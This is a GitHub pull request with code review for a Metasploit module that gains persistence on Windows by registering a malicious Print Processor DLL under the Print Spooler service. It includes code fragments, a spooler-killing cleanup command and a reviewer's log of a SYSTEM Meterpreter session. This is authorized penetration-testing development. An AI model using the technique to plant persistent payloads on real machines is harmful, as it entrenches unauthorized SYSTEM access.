Skip to content

Add Windows Print Processor persistence module#21501

Open
M4nu02 wants to merge 3 commits into
rapid7:masterfrom
M4nu02:windows-printprocessor_persistence
Open

Add Windows Print Processor persistence module#21501
M4nu02 wants to merge 3 commits into
rapid7:masterfrom
M4nu02:windows-printprocessor_persistence

Conversation

@M4nu02
Copy link
Copy Markdown
Contributor

@M4nu02 M4nu02 commented May 26, 2026

Adds a new persistence module that registers a malicious Print Processor DLL under the Print Spooler service registry key. The spooler loads the DLL at startup, providing persistence across reboots. Requires SYSTEM privileges.

Fixes #20827

Verification

  • Start msfconsole
  • Get a SYSTEM shell
  • use exploit/windows/persistence/print_processor
  • set SESSION [SESSION]
  • run
  • Reboot the machine
  • You should get a shell

Adds a new persistence module that registers a malicious
Print Processor DLL under the Print Spooler service registry
key. The spooler loads the DLL at startup, providing
persistence across reboots. Requires SYSTEM privileges.

Fixes rapid7#20827
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_dll)
print_good("Payload DLL written to #{payload_pathname}")

processor_name = datastore['PROCESSOR_NAME'] || Rex::Text.rand_text_alpha(8)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this is the right idea, but for the user to get a random string they'd have to unset a required value, which can't happen


register_options([
OptString.new('PAYLOAD_NAME', [true, 'Name of payload file to write. Random string as default.', Rex::Text.rand_text_alpha(8) + '.dll']),
OptString.new('PROCESSOR_NAME', [true, 'Name of the print processor registry key to create. Random string by default.', Rex::Text.rand_text_alpha(8)]),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe that putting the rands in here means they only randomize at metasploit load (or maybe module reload). I would leave them as false for required and an empty string. if its not filled in, then get a random string in the code so it randomizes each time the module is run.

Why do we prefer this? lets say you want to run this module across 10 servers on a domain. all 10 would have the same DLL and processor name unless you reload the module between runs. if it were calculated at runtime, then you would have different file names on each host.

Copy link
Copy Markdown
Contributor Author

@M4nu02 M4nu02 May 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That makes sense, I changed it to this because I saw a change request on another similar persistence module from a contributor, and they were suggesting to use something like this.

But I agree that it makes more sense to set these options to false without standard value.


restart_spooler if datastore['RESTART_SPOOLER']

@clean_up_rc << "execute -f cmd.exe -a '/c net stop spooler && taskkill /F /IM spoolsv.exe && del \"#{payload_pathname}\"' -i -H\n"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i would put this on multiple lines to make it easier to read unless its required for them all to hit in very short order

stop_result = service_stop('Spooler')
start_result = service_start('Spooler')

# TODO: Remove this
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

TODO

register_options([
OptString.new('PAYLOAD_NAME', [true, 'Name of payload file to write. Random string as default.', Rex::Text.rand_text_alpha(8) + '.dll']),
OptString.new('PROCESSOR_NAME', [true, 'Name of the print processor registry key to create. Random string by default.', Rex::Text.rand_text_alpha(8)]),
OptBool.new('RESTART_SPOOLER', [true, 'Restart the Print Spooler service to trigger processor loading immediately.', true])
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would default this to false. if you have a shell, you don't want another shell just for the sake of having a shell (there are easier ways to do that). most persistence requires an event like login/reboot, so i think its safe to set this to false.

@github-project-automation github-project-automation Bot moved this from Todo to Waiting on Contributor in Metasploit Kanban May 26, 2026
Copy link
Copy Markdown
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the module @M4nu02! A couple comments

Testing with machine reboot

msf exploit(windows/persistence/print_processor) > run
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:5555
msf exploit(windows/persistence/print_processor) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target appears vulnerable to Print Processor persistence
[+] Payload DLL written to C:\Windows\System32\spool\prtprocs\x64\uuiEQOPh.dll
[+] Registry key written
[*] Attempting to restart Spooler service for immediate payload trigger...
[+] Spooler service restarted successfully
[*] Meterpreter-compatible Cleanup RC file: /Users/jheysel/.msf4/logs/persistence/MINION1_20260528.2639/MINION1_20260528.2639.rc

msf exploit(windows/persistence/print_processor) > [*] 172.16.199.130 - Meterpreter session 2 closed.  Reason: Died

msf exploit(windows/persistence/print_processor) >
[*] Sending stage (248902 bytes) to 172.16.199.130
[*] Meterpreter session 3 opened (172.16.199.1:5555 -> 172.16.199.130:49676) at 2026-05-28 10:28:41 -0700

msf exploit(windows/persistence/print_processor) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : MINION1
OS              : Windows 10 22H2+ (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : KERBEROS
Logged On Users : 6
Meterpreter     : x64/windows
meterpreter > bg


def target_dir
base = 'C:\\Windows\\System32\\spool\\prtprocs'
sysinfo['Architecture'] =~ /64/ ? "#{base}\\x64" : "#{base}\\w32x86"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The following should work:

Suggested change
sysinfo['Architecture'] =~ /64/ ? "#{base}\\x64" : "#{base}\\w32x86"
sysinfo['Architecture'] == ARCH_X64 ? "#{base}\\x64" : "#{base}\\w32x86"

end

def env_key
sysinfo['Architecture'] =~ /64/ ? 'Windows x64' : 'Windows NT x86'
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
sysinfo['Architecture'] =~ /64/ ? 'Windows x64' : 'Windows NT x86'
sysinfo['Architecture'] == ARCH_X64 ? 'Windows x64' : 'Windows NT x86'

Comment on lines +75 to +76
return CheckCode::Safe('SYSTEM privileges are required') unless is_system?
return CheckCode::Safe("Target directory #{target_dir} does not exist") unless directory?(target_dir)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor but I think this should be Unknown - if the Spooler service is not found, then the target is safe from being exploited.

Suggested change
return CheckCode::Safe('SYSTEM privileges are required') unless is_system?
return CheckCode::Safe("Target directory #{target_dir} does not exist") unless directory?(target_dir)
return CheckCode::Unknown('SYSTEM privileges are required') unless is_system?
return CheckCode::Unknown("Target directory #{target_dir} does not exist") unless directory?(target_dir)


### RESTART_SPOOLER

Whether to restart the Print Spooler service after installing persistence to trigger the payload immediately without waiting for a reboot. Default is `true`.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The default is currently set to false - which makes sense, this should be updated

Suggested change
Whether to restart the Print Spooler service after installing persistence to trigger the payload immediately without waiting for a reboot. Default is `true`.
Whether to restart the Print Spooler service after installing persistence to trigger the payload immediately without waiting for a reboot. Default is `false`.

Comment on lines +121 to +124
def restart_spooler
print_status('Attempting to restart Spooler service for immediate payload trigger...')
stop_result = service_stop('Spooler')
start_result = service_start('Spooler')
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

When testing the module with RESTART_SPOOLER set to true, the module output said it was restarting the service successfully however it was not triggering the payload successfully.

The payload was triggered when I restarted the machine and logged back in. Was RESTART_SPOOLER working for you?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes, it worked when I tested it, but sometimes it can take few minutes to trigger.

Replace regex architecture checks with ARCH_X64 constant
comparison. Return CheckCode::Unknown instead of Safe when
preconditions are not met. Fix default value for
RESTART_SPOOLER in documentation.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

Status: Waiting on Contributor

Development

Successfully merging this pull request may close these issues.

New Persistence Technique: Windows PrintProcessor

4 participants